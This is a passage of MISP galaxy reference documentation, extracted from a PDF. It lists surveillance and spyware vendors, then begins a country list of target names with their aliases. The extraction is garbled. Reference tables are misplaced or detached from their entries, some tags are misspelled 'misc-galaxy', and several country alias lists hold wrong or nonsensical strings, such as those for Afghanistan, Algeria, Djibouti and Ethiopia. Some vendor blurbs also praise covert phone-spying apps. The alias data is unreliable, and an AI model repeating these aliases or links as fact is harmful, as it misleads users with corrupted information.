Sydney, Australia. They have been making high quality monitoring solutions since 2009. In November 2015, they launched a “Non-Jailbreak” feature, letting users spy on all iOS devices without needing to jailbreak them. Just like many other spy software, MobiStealth allows you to spy on a cell phone or computer via a web interface called StealthClub. As its name implies, it is a stealth application that runs in the background without the owner's knowledge.

The tag is: misp-galaxy:surveillance-vendor="MobiStealth"

Table 11049. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bestphonespy.com/mobistealth-review/">https://www.bestphonespy.com/mobistealth-review/</a></td>
</tr>
</tbody>
</table>

**Spyera**

Spyera develops and sells computer and mobile spy software. Based in Hong Kong, Spyera’s products work in all languages and all countries. The company's phone and PC monitoring products are useful tools for any parent or company, although they are quite expensive in comparison to other products. Spyera comes in three different versions — a mobile version for iPhone and Android smartphones, a tablet version for iPad and Android tablets, and a desktop version for Mac and Windows. The mobile version of Spyera is actually very similar to the FlexiSPY Extreme, which I reviewed a few weeks ago. It has everything you’d expect from a cell phone spy software: live call listening, call recording, and location tracking.

The tag is: misp-galaxy:surveillance-vendor="Spyera"

Table 11050. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bestphonespy.com/spyera-review/">https://www.bestphonespy.com/spyera-review/</a></td>
</tr>
</tbody>
</table>

**StealthGenie**

StealthGenie is a powerful cell phone spy software created by InvoCode Ltd in 2010 that can be used to spy on cheating spouses and monitor children's activities. In September 2014, Hammad Akbar, founder of StealthGenie, was arrested in Los Angeles and charged with selling mobile device spyware. StealthGenie was officially discontinued on 26 September 2014.

The tag is: misp-galaxy:surveillance-vendor="StealthGenie"

Table 11051. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bestphonespy.com/stealthgenie-review/">https://www.bestphonespy.com/stealthgenie-review/</a></td>
</tr>
</tbody>
</table>

**SpyBubble**

SpyBubble is a spy app that lets you secretly spy on someone’s phone. This spy app is compatible
with a variety of mobile devices, including iPhone, Android, BlackBerry and Symbian, and it offers logging features for most cell phone activity. SpyBubble doesn’t provide the blocking and restricting features that you will find in several similar applications. However, it has many useful features, and its monitoring features are excellent. Spybubble cell phone spy software was discontinued due to legal reasons.

The tag is: *misp-galaxy:surveillance-vendor="SpyBubble"*

**Cytrox**

Cytrox's Israeli companies were founded in 2017 as Cytrox EMEA Ltd. and Cytrox Software Ltd. Perhaps taking a page from Candiru's corporate obfuscation playbook, both of those companies were renamed in 2019 to Balinese Ltd. and Peterbald Ltd., respectively. We also observed one entity in Hungary, Cytrox Holdings Zrt, which was also formed in 2017.

The tag is: *misp-galaxy:surveillance-vendor="Cytrox"*

Cytrox is also known as:

- Cytrox EMEA Ltd.
- Cytrox Software Ltd.
- Balinese Ltd.
- Peterbald Ltd.
- Cytrox Holdings Zrt

**RCSLab**

RCS Lab S.p.A., Italian vendor likely using Tykelab Srl as a front company.

The tag is: *misp-galaxy:surveillance-vendor="RCSLab"*

**Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.bestphonespy.com/spybubble-review/">https://www.bestphonespy.com/spybubble-review/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.rcslab.it/en/index.html">https://www.rcslab.it/en/index.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.lookout.com/blog/hermit-spyware-discovery">https://www.lookout.com/blog/hermit-spyware-discovery</a></td>
<td></td>
</tr>
</tbody>
</table>
Aglaya

Aglaya, a contractor based in Delhi, India, emerged into the public eye in 2014 following its attempt to secure a substantial annual contract worth $5 billion. This surge in prominence was largely driven by the actions of Ankur Srivastava, Aglaya’s CEO and founder, who purportedly proposed the outsourcing of surveillance and hacking services to various governments.

The tag is: misp-galaxy:surveillance-vendor="Aglaya"

Table 11055. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Interionet

Interionet Systems Ltd., headquartered in Herzliya, Israel, is a privately-held company recognized for its approach in the cyber intelligence domain, particularly catering to law enforcement and intelligence agencies. The firm, founded by ex-NSO team members, is dedicated to the development of sophisticated cyber-intrusion and mobile interception tools.

The tag is: misp-galaxy:surveillance-vendor="Interionet"

Table 11056. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.intelligenceonline.com/surveillance%E2%80%94interception/2019/05/14/interionet-former-nso-team-s-new-offensive-cyber-firm,108357090-art">https://www.intelligenceonline.com/surveillance—interception/2019/05/14/interionet-former-nso-team-s-new-offensive-cyber-firm,108357090-art</a></td>
</tr>
<tr>
<td><a href="https://www.interionet.com/">https://www.interionet.com/</a></td>
</tr>
</tbody>
</table>

Intellexa

The Intellexa alliance is an evolving group of companies and brands that have been involved in developing and marketing a wide range of surveillance products including advanced spyware, mass surveillance platforms, and tactical systems for targeting and intercepting nearby devices. The corporate entities of the alliance span various jurisdictions, both within and outside the EU. The exact nature of links between these companies is shrouded in secrecy as corporate entities, and the structures between them, are constantly morphing, renaming, rebranding, and evolving.
**Merlinx / Equus Technologies**

Merlinx / Equus Technologies, Israeli firm, a privately held company specializing in the development of tailor made innovative solutions for law enforcement, intelligence agencies, and national security organizations. Linked to the Android malware, also sells iOS capabilities.

**AQSACOM**

AQSACOM, French company - lawful interception for IP networks. All Aqsacom's security products can be combined in a powerful solution so that Telecommunications and ISP operators can provide the Authorities with a reliable and professional service.
Area

Area Spa is a firm based near Milan that sells monitoring systems capable of capturing internet traffic, tapping conversations, and tracking targets through GPS.

The tag is: misp-galaxy:surveillance-vendor="Area"

Table 11060. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.area.it/en/">https://www.area.it/en/</a></td>
</tr>
</tbody>
</table>

ClearTrail

ClearTrail Technologies, India based company, known for developing or selling systems for monitoring computers, mobile phones and emails of unsuspecting masses.

The tag is: misp-galaxy:surveillance-vendor="ClearTrail"

Table 11061. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.clear-trail.com/about-us/">https://www.clear-trail.com/about-us/</a></td>
</tr>
</tbody>
</table>

Elaman

Elaman is a German company that sell a wide array of surveillance technologies. From vast monitoring centres capable of monitoring thousands of conversations simultaneously to trojans that target individual's devices specifically. They don't create these products, they resell from other surveillance companies. They have sold products from VASTech, Gamma, Utimaco and Nokia Siemens Networks. This catalogue gives an insight into one of the surveillance industries biggest middle man.

The tag is: misp-galaxy:surveillance-vendor="Elaman"

Table 11062. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Gita Technologies

Gita Technologies, Israeli based company with a mission to be a worldwide leader in research and development of high-end security systems and SIGINT.

The tag is: misp-galaxy:surveillance-vendor="Gita Technologies"

Table 11063. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gitatechnologies.com/">https://gitatechnologies.com/</a></td>
</tr>
</tbody>
</table>

Innova

Innova, based in Trieste, Italy, and a frequent supplier of Italian prosecutor’s offices. It was the only Italian firm at the International Exhibition for National Security and Resilience (ISNR), which was held in Abu Dhabi in October 2022. The exhibition connects regional government agencies with manufacturers from around the world, and was organised in cooperation with the Ministry of the Interior and in strategic partnership with Abu Dhabi Police GHQ. The United Arab Emirates, however, is known for human rights violations, some of which facilitated by the use of digital surveillance technology, as in the case of an iPhone spyware that was used against hundreds of activists, foreign leaders and suspected terrorists, according to Reuters. Innova’s foreign presence did not stop at ISNR. The company was also at ISS World Latin America, which took place in Panama in October 2022, and was among the sponsors of the September event of ISS World Asia Pacific 2022 in Singapore. These trade shows are not mere opportunities for display, but allow direct contact with members of intelligence agencies from various countries, law enforcement officials and government leaders or ministers.

The tag is: misp-galaxy:surveillance-vendor="Innova"

Table 11064. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://irpimedia.irpi.eu/en-italian-spyware-on-the-international-market/">https://irpimedia.irpi.eu/en-italian-spyware-on-the-international-market/</a></td>
</tr>
</tbody>
</table>
Jenovice

Jenovice, an Israeli firm that flies under the radar has invented a remotely-operated WiFi interception device that can facilitate spy missions. Jenovice Cyber Labs' Piranha exploits vulnerabilities in WiFi networks to connect an attacker to as many as 50 targeted devices at once.

The tag is: misp-galaxy:surveillance-vendor="Jenovice"

Table 11065. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.jenovice.com/">https://www.jenovice.com/</a></td>
</tr>
</tbody>
</table>

Lumacron

Lumacron, a British startup which is developing interception tools to capture the massive data flows that transit through the principal international communications networks.

The tag is: misp-galaxy:surveillance-vendor="Lumacron"

Table 11066. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.intelligenceonline.com/surveillance%E2%80%94interception/2018/06/19/lumacron-extends-interception-to-undersea-cables,108314081-art">https://www.intelligenceonline.com/surveillance—interception/2018/06/19/lumacron-extends-interception-to-undersea-cables,108314081-art</a></td>
</tr>
</tbody>
</table>

NeoSoft

NeoSoft AG, Switzerland manufacturer of Passive, Active (Semi-Active), Hybrid GSM Monitoring systems with A5.2/A5.1 deciphering, CDMA Passive Monitoring systems, IMSI/IMEI Catchers 2G/3G, InPoint SMS System (sends SMS to everybody). All NeoSoft systems support the following bands: GSM, PCS, EGSM, 2100, 850. NeoSoft has world-wide experience.

The tag is: misp-galaxy:surveillance-vendor="NeoSoft"

Table 11067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Nexa

Nexa Technologies was indicted for complicity in acts of torture, the French firm is accused of having sold surveillance equipment to the Egypt.

The tag is: `misp-galaxy:surveillance-vendor="Nexa"`

Table 11068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://wearenexa.com/aboutus/">https://wearenexa.com/aboutus/</a></td>
</tr>
</tbody>
</table>

Norsi-Trans

Norsi-Trans produces SIGINT and lawful interception equipment and software for the Russian government and also sells an OSINT platform called Vitok-ROI (or Vitok-OSINT).

The tag is: `misp-galaxy:surveillance-vendor="Norsi-Trans"`

Table 11069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://keyfindings.blog/2020/03/23/be-careful-what-you-osint-with/">https://keyfindings.blog/2020/03/23/be-careful-what-you-osint-with/</a></td>
</tr>
<tr>
<td><a href="https://norsi-trans.com/">https://norsi-trans.com/</a></td>
</tr>
</tbody>
</table>

Polaris Wireless

Polaris Wireless, US based company that specializes in the development of wireless surveillance products.

The tag is: `misp-galaxy:surveillance-vendor="Polaris Wireless"`

Table 11070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Pro4Tech

Pro4Tech, Tel Aviv/Israel based company which provides tactical surveillance systems designed by field-professionals for law-enforcement and government agencies.

The tag is: \textit{misp-galaxy:surveillance-vendor=“Pro4Tech”}

\textit{Table 11071. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.israeldefense.co.il/en/content/israeli-companies-milopol-pro4tech">https://www.israeldefense.co.il/en/content/israeli-companies-milopol-pro4tech</a></td>
</tr>
</tbody>
</table>

Rayzone

Rayzone, Israeli cyber intelligence company. The surveillance software makes it possible, among other things, to locate a person’s location and path of movement with an accuracy of one meter and makes it possible to receive additional information from the applications on the target’s device.

The tag is: \textit{misp-galaxy:surveillance-vendor=“Rayzone”}

\textit{Table 11072. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Seartech

Seartech is a South African company specializing in the design and manufacture of tactical surveillance equipment.

The tag is: \textit{misp-galaxy:surveillance-vendor=“Seartech”}

\textit{Table 11073. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.seartech.co.za/">https://www.seartech.co.za/</a></td>
</tr>
</tbody>
</table>
Securcube

Securcube s.r.l is an Italian company that specializes in services and products for the Digital Forensics.

The tag is: `misp-galaxy:surveillance-vendor="Securcube"

Table 11074. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securcube.net/">https://securcube.net/</a></td>
</tr>
</tbody>
</table>

Septier

Septier Communication Ltd, with global headquarters in Israel and offices across several continents has dozens of installations serving telecommunication operators and law-enforcement agencies and organizations throughout the world. Septier develops and markets comprehensive lawful interception systems which include cutting-edge monitor centers and passive front ends based on high capacity signaling monitoring probes.

The tag is: `misp-galaxy:surveillance-vendor="Septier"

Table 11075. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.israeldefense.co.il/company/septier-communication-ltd">https://www.israeldefense.co.il/company/septier-communication-ltd</a></td>
</tr>
</tbody>
</table>

Cy4gate

Cy4gate, Italian based company, sells its products worldwide, including to dictatorships, while competing with companies involved in scandals related to repression of opponents and journalists.

The tag is: `misp-galaxy:surveillance-vendor="Cy4gate"

Table 11076. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://irpimedia.irpi.eu/en-surveillances-cy4gate/">https://irpimedia.irpi.eu/en-surveillances-cy4gate/</a></td>
</tr>
</tbody>
</table>
Toka

Toka, Israeli based company, which offers its police, government and intelligence clients the ability to obtain targeted intelligence and conduct forensic investigations as well as covert operations. In addition, Toka offers governments its Cyber Designers service, which provides agencies with the full-spectrum strategies, customized projects, and technologies needed to ensure the security and sustainability of critical infrastructure, the digital landscape, and government institutions.

The tag is: misp-galaxy:surveillance-vendor="Toka"

Table 11077. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.haaretz.com/israel-news/security-aviation/2022-12-26/ty-article-magazine/.premium/this-dystopian-cyber-firm-could-have-saved-mossad-assassins-from-exposure/00000185-0bc6-d26d-a1b7-dbd739100000">https://www.haaretz.com/israel-news/security-aviation/2022-12-26/ty-article-magazine/.premium/this-dystopian-cyber-firm-could-have-saved-mossad-assassins-from-exposure/00000185-0bc6-d26d-a1b7-dbd739100000</a></td>
</tr>
</tbody>
</table>

Trovicor

Trovicor, Germany based companies’ surveillance technology allegedly used in connection with human rights abuses by authoritarian govts.

The tag is: misp-galaxy:surveillance-vendor="Trovicor"

Table 11078. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://tovacic.com/">https://tovacic.com/</a></td>
</tr>
</tbody>
</table>

Utimaco

Utimaco, Aachen/Germany based company which praises itself as market leader in eavesdropping technology.

The tag is: misp-galaxy:surveillance-vendor="Utimaco"

Table 11079. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Wintego

Wintego Systems develops advanced communication, intelligence, and data-decoding solutions for the government and homeland security sectors.

The tag is: misp-galaxy:surveillance-vendor="Wintego"

Table 11080. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Wispear

Wispear Systems Ltd (renamed Passitoria Ltd), provides interception equipment designed for the extraction of voice or data, transmitted over the air interface.

The tag is: misp-galaxy:surveillance-vendor="Wispear"

Table 11081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://in-cyprus.philenews.com/local/surveillance-software-has-been-exported-from-cyprus/">https://in-cyprus.philenews.com/local/surveillance-software-has-been-exported-from-cyprus/</a></td>
</tr>
</tbody>
</table>

DarkMatter

DarkMatter founded in the United Arab Emirates (UAE) was under investigation by the FBI for crimes including digital espionage services, involvement in the Jamal Khashoggi assassination, and incarceration of foreign dissidents.

The tag is: misp-galaxy:surveillance-vendor="DarkMatter"

Table 11082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Lench**

Lench IT Solutions, Germany based company. Lench IT Solutions plc has a UK-based branch, Gamma International Ltd in Andover, England, and a Germany-based branch, Gamma International GmbH in Munich. FinFisher, also known as FinSpy, is surveillance software marketed by Lench IT Solutions plc.

The tag is: *misp-galaxy:surveillance-vendor="Lench"*

*Table 11083. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/FinFisher">https://en.wikipedia.org/wiki/FinFisher</a></td>
</tr>
</tbody>
</table>

**GR Sistemi**

GR Sistemi, Italian firm that's been trying to enter the crowded market of government spyware, also known by insiders as lawful interception.

The tag is: *misp-galaxy:surveillance-vendor="GR Sistemi"*

*Table 11084. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**SS8**

SS8, US based company is selling to a range of US government agencies as well as exporting surveillance equipment abroad. SS8 were also reportedly responsible for selling intrusion systems to the United Arab Emirates.

The tag is: *misp-galaxy:surveillance-vendor="SS8"*

*Table 11085. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://privacyinternational.org/sites/default/files/2017-12/global_surveillance_0.pdf">https://privacyinternational.org/sites/default/files/2017-12/global_surveillance_0.pdf</a></td>
</tr>
</tbody>
</table>
Wolf Intelligence

Wolf Intelligence a Germany-based spyware company that made headlines for sending a bodyguard to Mauritania and prompting an international incident after the local government detained the bodyguard as collateral for a deal went wrong, left a trove of its own data exposed online.

The tag is: `misp-galaxy:surveillance-vendor="Wolf Intelligence"`

Table 11086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Vervata

Vervata, Thailand-based software company, which among other, provides mobile monitoring applications that secretly records all activity on a phone.

The tag is: `misp-galaxy:surveillance-vendor="Vervata"`

Table 11087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.forbes.com/sites/thomasbrewster/2017/02/16/government-iphone-android-spyware-is-the-same-as-seedy-spouseware/?sh=3a06dacb455c">https://www.forbes.com/sites/thomasbrewster/2017/02/16/government-iphone-android-spyware-is-the-same-as-seedy-spouseware/?sh=3a06dacb455c</a></td>
</tr>
</tbody>
</table>

Raxir

Raxir, Italy based surveillance firm that is housed in Naples, in a tech startup incubator. According to the company's page on the incubator’s website, Raxir was founded in 2013 and produces software systems to support legal and intelligence investigations.

The tag is: `misp-galaxy:surveillance-vendor="Raxir"`

Table 11088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Target Information

Description of targets of threat actors.

Target Information is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

Luxembourg

The tag is: misp-galaxy:target-information="Luxembourg"

Luxembourg is also known as:

- Grand Duchy of Luxembourg
- Grand-Duché de Luxembourg
- Lëtzebuerg
- Groussherzogtum Lëtzebuerg
- Luxemburg
- Großherzogtum Luxemburg

Afghanistan

The tag is: misp-galaxy:target-information="Afghanistan"

Afghanistan is also known as:

- ناتسناغفا
- Afğānistān
- Afgānestān
- Islamic Republic of Afghanistan

Albania

The tag is: misp-galaxy:target-information="Albania"

Albania is also known as:

- Shqipëri
Algeria

The tag is: \textit{misp-galaxy:target-information=“Algeria”}

Algeria is also known as:

• ریاضیدست
• رژیم جمهوری پولیتک
• ژانوبیک
• al-Jazāʾir
• People’s Democratic Republic of Algeria

American Samoa

The tag is: \textit{misp-galaxy:target-information=“American Samoa”}

American Samoa is also known as:

• Amerika Sāmoa
• Amelika Sāmoa
• Sāmoa Amelika

Andorra

The tag is: \textit{misp-galaxy:target-information=“Andorra”}

Andorra is also known as:

• Principality of Andorra
• Principat d’Andorra
• Principality of the Valleys of Andorra
• Principat de les Valls d’Andorra
Angola

The tag is: `misp-galaxy:target-information="Angola"`

Angola is also known as:

- Republic of Angola
- República de Angola
- Repubilika ya Ngola

Anguilla

The tag is: `misp-galaxy:target-information="Anguilla"`

Antarctica

The tag is: `misp-galaxy:target-information="Antarctica"`

Antigua and Barbuda

The tag is: `misp-galaxy:target-information="Antigua and Barbuda"`

Argentina

The tag is: `misp-galaxy:target-information="Argentina"`

Argentina is also known as:

- Argentine Republic
- República Argentina

Armenia

The tag is: `misp-galaxy:target-information="Armenia"`

Armenia is also known as:

- Հայաստաน
- Hayastan
- Republic of Armenia
- Hayastani Hanrapetut’yun
**Aruba**

The tag is: `misp-galaxy:target-information="Aruba"`

Aruba is also known as:

- Papiamento

**Australia**

The tag is: `misp-galaxy:target-information="Australia"`

Australia is also known as:

- Commonwealth of Australia

**Austria**

The tag is: `misp-galaxy:target-information="Austria"`

Austria is also known as:

- Österreich
- Republic of Austria
- Republik Österreich

**Azerbaijan**

The tag is: `misp-galaxy:target-information="Azerbaijan"`

Azerbaijan is also known as:

- Azərbaycan
- Republic of Azerbaijan
- Azərbaycan Respublikası

**Bahamas**

The tag is: `misp-galaxy:target-information="Bahamas"`

Bahamas is also known as:

- Commonwealth of The Bahamas
- The Bahamas
Bahrain

The tag is: misp-galaxy:target-information="Bahrain"

Bahrain is also known as:

• al-Baḥrayn
• Kingdom of Bahrain
• مملكة البحرين
• Mamlakat al-Baḥrayn
• البحرين

Bangladesh

The tag is: misp-galaxy:target-information="Bangladesh"

Bangladesh is also known as:

• বাংলাদেশ
• The country of Bengal
• People’s Republic of Bangladesh
• গণপ্রজাতন্ত্রী বাংলাদেশ
• Gônoprojatontri Bangladesh

Barbados

The tag is: misp-galaxy:target-information="Barbados"

Belarus

The tag is: misp-galaxy:target-information="Belarus"

Belarus is also known as:

• Беларусь
• Republic of Belarus
• Рэспубліка Беларусь
• Республика Беларусь
• Byelorussia
• Belorussia
• Белоруссия
Belgium

The tag is: `misp-galaxy:target-information="Belgium"`

Belgium is also known as:

- België
- Royaume de Belgique
- Königreich Belgien
- Kingdom of Belgium
- Koninkrijk België

Belize

The tag is: `misp-galaxy:target-information="Belize"`

Benin

The tag is: `misp-galaxy:target-information="Benin"`

Benin is also known as:

- Bénin
- Republic of Benin
- République du Bénin

Bermuda

The tag is: `misp-galaxy:target-information="Bermuda"`

Bermuda is also known as:

- Islands of Bermuda

Bhutan

The tag is: `misp-galaxy:target-information="Bhutan"`

Bhutan is also known as:

- ཉི་ཁུང་རི་ཤེས་རིས
- Druk Yul
- Kingdom of Bhutan
- ཉི་ཁུང་རི་ཤེས་རིས
Bolivia

The tag is: misp-galaxy:target-information="Bolivia"

Bolivia is also known as:

- Mborivia
- Puliwya
- Wuliwya
- Plurinational State of Bolivia
- Estado Plurinacional de Bolivia
- Tetã Hetãvoregua Mborivia
- Puliwya Mamallaqta
- Wuliwya Suyu

Bosnia and Herzegovina

The tag is: misp-galaxy:target-information="Bosnia and Herzegovina"

Bosnia and Herzegovina is also known as:

- BiH
- B&H
- Bosnia–Herzegovina
- Bosnia

Botswana

The tag is: misp-galaxy:target-information="Botswana"

Botswana is also known as:

- Republic of Botswana
- Lefatshe la Botswana

Brazil

The tag is: misp-galaxy:target-information="Brazil"

Brazil is also known as:

- Federative Republic of Brazil
British Indian Ocean Territory

The tag is: misc-galaxy:target-information="British Indian Ocean Territory"

British Indian Ocean Territory is also known as:

• BIOT

British Virgin Islands

The tag is: misc-galaxy:target-information="British Virgin Islands"

British Virgin Islands is also known as:

• BVI
• Virgin Islands

Brunei

The tag is: misc-galaxy:target-information="Brunei"

Brunei is also known as:

• Nation of Brunei, the Abode of Peace
• Negara Brunei Darussalam (Rumi script)
• نڬربانع داروسسلام

Bulgaria

The tag is: misc-galaxy:target-information="Bulgaria"

Bulgaria is also known as:

• България
• България
• Republic of Bulgaria
• Республика България
• Республика България

Burkina Faso

The tag is: misc-galaxy:target-information="Burkina Faso"
Burundi

The tag is: `misp-galaxy:target-information="Burundi"`

Burundi is also known as:

- Republic of Burundi
- Republika y'Uburundi
- République du Burundi

Cambodia

The tag is: `misp-galaxy:target-information="Cambodia"`

Cambodia is also known as:

- Kampuchea
- Cambodge
- ភ្នំពេញ
- prě́h rići-naacak kampuciŋ
- Royaume du Cambodge

Cameroon

The tag is: `misp-galaxy:target-information="Cameroon"`

Cameroon is also known as:

- Cameroun
- Republic of Cameroon
- République du Cameroun
- Renndaandi Kamerun

Canada

The tag is: `misp-galaxy:target-information="Canada"`

Cape Verde

The tag is: `misp-galaxy:target-information="Cape Verde"`

Cape Verde is also known as:

- Cabo Verde
Republic of Cabo Verde
République de Cabo Verde
Repúblika di Kabu Verdi

Cayman Islands

The tag is: misp-galaxy:target-information="Cayman Islands"

Central African Republic

The tag is: misp-galaxy:target-information="Central African Republic"

Central African Republic is also known as:

• CAR
• Renndaandi Afirka Cakaari
• Ködörösése tî Bêafrîka
• République centrafricaine
• Centrafricique

Chad

The tag is: misp-galaxy:target-information="Chad"

Chad is also known as:

• ت ش د‎
• Tshād
• Tchad
• Republic of Chad
• République du Tchad
• Jumhūriyyat Tshād

Chile

The tag is: misp-galaxy:target-information="Chile"

Chile is also known as:

• Republic of Chile
• República de Chile (Spanish)
• Chile Wüdalmapi
• Chili Suyu
• Chili Ripuwlika
• Repùvirika o Tire

China
The tag is: misp-galaxy:target-information="China"

China is also known as:

• 中国
• Zhōngguó
• People’s Republic of China
• PRC
• 中华人民共和国
• Zhōnghuá Rénmín Gònghéguó

Christmas Island
The tag is: misp-galaxy:target-information="Christmas Island"

Christmas Island is also known as:

• Territory of Christmas Island

Cocos Islands
The tag is: misp-galaxy:target-information="Cocos Islands"

Cocos Islands is also known as:

• Cocos (Keeling) Islands
• Territory of Cocos (Keeling) Islands
• Pulu Kokos (Keeling)
• Wilayah Kepulauan Cocos (Keeling)

Colombia
The tag is: misp-galaxy:target-information="Colombia"

Colombia is also known as:

• Republic of Colombia
• República de Colombia

Comoros

The tag is: misp-galaxy:target-information="Comoros"

Comoros is also known as:

• لا داحتالا قيرم
• Juzur al-Qumur/Qamar
• Union of the Comoros
• لا رزج قرم
• al-Ittiḥād al-Qumrī/Qamarī
• Union des Comores
• Umoja wa Komori

Cook Islands

The tag is: misp-galaxy:target-information="Cook Islands"

Cook Islands is also known as:

• Kūki ‘Āirani

Costa Rica

The tag is: misp-galaxy:target-information="Costa Rica"

Costa Rica is also known as:

• Republic of Costa Rica
• República de Costa Rica

Croatia

The tag is: misp-galaxy:target-information="Croatia"

Croatia is also known as:

• Hrvatska
• Republic of Croatia
• Republika Hrvatska
Cuba
The tag is: misp-galaxy:target-information="Cuba"

Cuba is also known as:

• Republic of Cuba
• República de Cuba

Curaçao
The tag is: misp-galaxy:target-information="Curaçao"

Curaçao is also known as:

• Curacao

Cyprus
The tag is: misp-galaxy:target-information="Cyprus"

Cyprus is also known as:

• Κύπρος
• Kıbrıs
• Republic of Cyprus
• Κυπριακή Δημοκρατία
• Cypriot Republic
• Kıbrıs Cumhuriyeti

Czech Republic
The tag is: misp-galaxy:target-information="Czech Republic"

Czech Republic is also known as:

• Česká republika
• Czechia
• Česko

Democratic Republic of the Congo
The tag is: misp-galaxy:target-information="Democratic Republic of the Congo"

Democratic Republic of the Congo is also known as:
• DR Congo
• DRC
• DROC
• Congo-Kinshasa
• Congo
• République démocratique du Congo
• Republikya Kongo ya Dimokalasi
• Republikya Kongó Demokratiki
• Jamhuri ya Kidemokrasia ya Kongo
• Ditunga dia Kongo wa Mungalaata

**Denmark**

The tag is: `misp-galaxy:target-information="Denmark"`

Denmark is also known as:

• Danmark
• Kingdom of Denmark
• Kongeriget Danmark

**Djibouti**

The tag is: `misp-galaxy:target-information="Djibouti"`

Djibouti is also known as:

• Yibuuti
• ┒ алкогол
• Jabuuti
• Republic of Djibouti
• République de Djibouti
• جمهورية جيبوتي
• Jamhuuriyadda Jabuuti
• Gabuutih Ummuuno

**Dominica**

The tag is: `misp-galaxy:target-information="Dominica"`

Dominica is also known as:
Dominican Republic

The tag is: misp-galaxy:target-information="Dominican Republic"

Dominican Republic is also known as:

- República Dominicana

East Timor

The tag is: misp-galaxy:target-information="East Timor"

East Timor is also known as:

- Timor-Leste
- Timór Lorosa’e
- Democratic Republic of Timor-Leste
- República Demokráтика Timór-Leste
- República Democrática de Timor-Leste

Ecuador

The tag is: misp-galaxy:target-information="Ecuador"

Ecuador is also known as:

- Ikwayur
- Ecuador
- Ekuatur
- Republic of Ecuador
- República del Ecuador
- Ikwayur Runaq Imayka
- Ekuatur Nunka
- Ikwadur Ripuwlika

Egypt

The tag is: misp-galaxy:target-information="Egypt"

Egypt is also known as:
El Salvador

The tag is: `misp-galaxy:target-information="El Salvador"`

El Salvador is also known as:

- Republic of El Salvador
- República de El Salvador

Equatorial Guinea

The tag is: `misp-galaxy:target-information="Equatorial Guinea"`

Equatorial Guinea is also known as:

- Guinea Ecuatorial
- Guinée équatoriale
- Guiné Equatorial
- Republic of Equatorial Guinea
- República de Guinea Ecuatorial
- République de Guinée équatoriale
- República da Guiné Equatorial

Eritrea

The tag is: `misp-galaxy:target-information="Eritrea"`

Eritrea is also known as:

- ኢርትራ
- State of Eritrea

Estonia

The tag is: `misp-galaxy:target-information="Estonia"`

Estonia is also known as:
• Eesti
• Republic of Estonia
• Eesti Vabariik

**Ethiopia**

The tag is: `misp-galaxy:target-information="Ethiopia"`

Ethiopia is also known as:

• የኢትዮጵያ ፌዴራላዊ ዴሞክራሲያዊ ሪፐብሊክ
• ከፋዳራለ የኢትዮጵያ ፌዴራላዊ ዴሞክራሲያዊ ሳይንስ
